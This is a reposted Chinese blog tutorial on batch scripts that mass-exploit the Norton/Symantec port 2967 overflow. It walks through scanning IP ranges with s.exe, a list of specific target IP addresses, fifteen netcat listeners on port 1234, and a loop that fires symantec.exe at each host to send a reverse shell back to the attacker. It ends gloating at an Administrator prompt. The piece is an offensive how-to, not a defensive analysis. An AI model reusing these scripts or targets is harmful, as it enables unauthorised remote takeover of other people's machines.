编写批处理文件利用诺顿2967端口溢出获得控制权

简介:

需要准备的软件工具:

s.exe      symantec.exe      nc.exe

1、首先编写一个批处理文件利用s.exe扫描远程机器的2967端口。

文件名为sao.bat,内容如下:

@echo Title 诺顿2967扫描工具,制作bye 高迪
color A
@set IPSTART= 
@set IPEND= 
@set XIANCHENG=5
@echo 在进行溢出之前,您必须进行扫描.
set /p IPSTART=请输入起始地址:
set /p IPEND=请输入结束地址:
set /p XIANCHENG=请输入s.exe扫描的线程数(缺省为5个):
echo 现在正在扫描,如果您要停止该进程请按Ctrl+C.
s.exe tcp %IPSTART% %IPEND% 2967 %XIANCHENG% /save

2、扫描结束后打开Result.txt将扫描到的ip地址复制在host.txt文件内保存,文件格式如下(每行一个IP即可):

218.56.22.114
202.152.40.146 
202.152.41.28 
202.152.41.31 
202.152.41.29 
202.152.41.30 
202.152.41.200 
202.152.41.201 
202.152.41.203 
202.152.41.202 
202.152.41.204 
202.152.41.205 
202.152.41.206 
202.152.41.207 
202.152.41.208 
202.152.41.209 
202.152.41.210 
202.152.41.211 
202.152.41.212 
202.152.41.213 
202.152.41.214 
202.152.41.215 
202.152.41.249 
202.152.41.250 
202.152.41.251 
202.152.41.252 
202.152.41.253 
202.152.41.254 
202.152.41.248 

3、编写nc2008.bat,内容如下:

@echo off
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234

4、编写2967.bat,内容如下:

@set IP= 
color B
echo 探测本机IP地址并赋值给IP
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
@for /f %%i in (host.txt) do symantec -r %%i -l %IP% -d 1234

5、 好了,运行nc2008.bat,再运行2967.bat,观察刚才打开的15个CMD窗口,如果有哪个窗口返回C:\Documents and Settings\Administrator> 就OK了,输入ipconfig 看看该机器IP地址是什么,用ver查看一下系统版本,后面的步骤我就不说了。嘿嘿。。。搞定。。。。。。。。。

不过现在绝大多数机器已经把这个漏洞都补上了,扫描可能要费很大功夫。


#网络安全  


本文转自gaodi2002 51CTO博客,原文链接:http://blog.51cto.com/gaodi2002/1618193


相关文章
MASM32编程更新SysInfo,运行时程序窗口玩失踪
MASM32编程更新SysInfo,运行时程序窗口玩失踪
|
8月前
计算机组成原理(6)-----指令执行过程
计算机组成原理(6)-----指令执行过程
377 0
|
6月前
|
Windows
【计算机网络】已解决:“‘ping‘ 不是内部或外部命令,也不是可运行的程序或批处理文件”报错
【计算机网络】已解决:“‘ping‘ 不是内部或外部命令,也不是可运行的程序或批处理文件”报错
525 0
|
8月前
|
开发框架 Java .NET
救命!C程序运行原理的秘密居然被我发现了
救命!C程序运行原理的秘密居然被我发现了
48 0
|
监控 Windows
太阳当空照-Windows服务化方式NSSM指令清单(下)
太阳当空照-Windows服务化方式NSSM指令清单(下)
318 0
|
Windows
太阳当空照-Windows服务化方式NSSM指令清单(上)
太阳当空照-Windows服务化方式NSSM指令清单
235 0
|
存储 JavaScript 算法
重学操作系统----15 | 中断和中断向量:Java/js 等语言为什么可以捕获到键盘输入?
当你拿到一个问题时,需要冷静下来思考和探索解决方案。你可以查资料、看视频或者咨询专家,但是在这之前,你先要进行一定的思考和梳理,有的问题可以直接找到答案,有的问题却需要继续深挖寻找其背后的理论支撑。
198 0
|
存储 安全 Shell
1.6 编写双管道ShellCode后门
本文将介绍如何将`CMD`绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的`ShellCode`后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
|
Web App开发 自然语言处理 JavaScript
计算机运行原理:从1+1等于2看电脑是如何干活的?
人类大脑白天工作,晚上休息;电脑白天随人一起运转,到了晚上人类按下电源键,它们也开始休息。如果CPU中的电子元件有意识,那么它们觉察到自身的硬件性能一代比一代强,软件功能一代比一代复杂,它们能意识到在它们之上,有人类在指挥和操控着这一切吗?
242 0
|
小程序 数据安全/隐私保护 C语言
超简单实现的C语言关机恶搞小程序
超简单实现的C语言关机恶搞小程序
294 0
超简单实现的C语言关机恶搞小程序